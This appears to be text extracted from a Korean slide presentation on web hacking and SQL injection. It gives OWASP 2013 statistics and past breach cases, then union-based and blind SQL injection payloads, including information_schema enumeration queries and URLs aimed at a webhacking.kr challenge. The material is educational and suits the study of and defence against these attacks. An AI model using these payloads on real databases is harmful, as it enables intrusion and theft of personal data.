6. 웹해킹 피해 통계
34%
7%
13%
4%
6%
10%
0%
11%
7%
8%
OWASP TOP 10 2013
SQL Injection
취약한 인증 및 세션 관리
악성 스크립트 삽입 공격(XSS)
안전하지 않은 직접 객체 참조
잘못된 보안 구성
중요한 데이터 노출
Missing Function Level Access
Control
CSRF
알려진 취약한 Componets를 사용
8. SQL Injection 의 사례들
ZeroBoard XE, Gnuboard 등 공개용 보드에 심심찮게
발견되는 취약점들.
(2011.03) 넥슨 정보 유출 사건
- 고객 정보 1,320만건의 개인정보가 유출
(2011.04) 소니의 온라인 비디오 시스템이 해킹
- 7,700만명의 개인정보가 유출
(2008.02) 옥션 해킹
-해커가 옥션 웹 서버 뚫고 회원 1863만 명 개인정보
유출
9. What is SQL Injection ?
정상적인 데이터를 조회하는
정상적인 쿼리에 이상한
문자가 들어간다면?
24. The type of the function used in the Blind SQL Inject
ion
substr : 문자열을 자르는 함수
형식) substr(“abcd”,자르기 시작할 문자의
위치,자를 길이);
결과)
Substr(“abcd”,1,3); => abc
25. The type of the function used in the Blind SQL Inject
ion
mid : 문자열을 자르는 함수
형식) mid(“abcd”,자르기 시작할 문자의 위치,자를
길이);
결과)
mid(“abcd”,1,3) => abc
26. The type of the function used in the Blind SQL Inject
ion
Left,right : 문자열을 자르는 함수
형식) left(right(자를 문자열,오른쪽으로부터 얼마나
자를것인가),왼쪽으로부터 얼마나 자를것인가)
결과)
Left(right(“abcd”,4),1) => a
48. Union SQL Injection Example
SELECT * FROM user_info where
id=„admin‟ and
password=“helloworld” and 1=2
union select table_name,table_name
from information_schema.tables--”;
49. Union SQL Injection Example
SELECT * FROM user_info where
id=„admin‟ and
password=“helloworld” and 1=2
union select
column_name,column_name from
information_schema.columns--”;
50. Union SQL Injection Example
SELECT * FROM user_info where
id=„admin‟ and
password=“helloworld” and 1=2
union select 알아낸칼럼,알아낸칼럼
from 알아낸 테이블--”;
51. Blind SQL Injection Example
성공 실패
http://webhacking.kr/challenge/bonus/bonus-
1/index.php?no=11111%0a||%0aascii(substr(id,
1,1))>0%23&id=&pw=
http://webhacking.kr/challenge/bonus/bonus-
1/index.php?no=11111%0a||%0aascii(substr(id,1,
1))<0%23&id=&pw=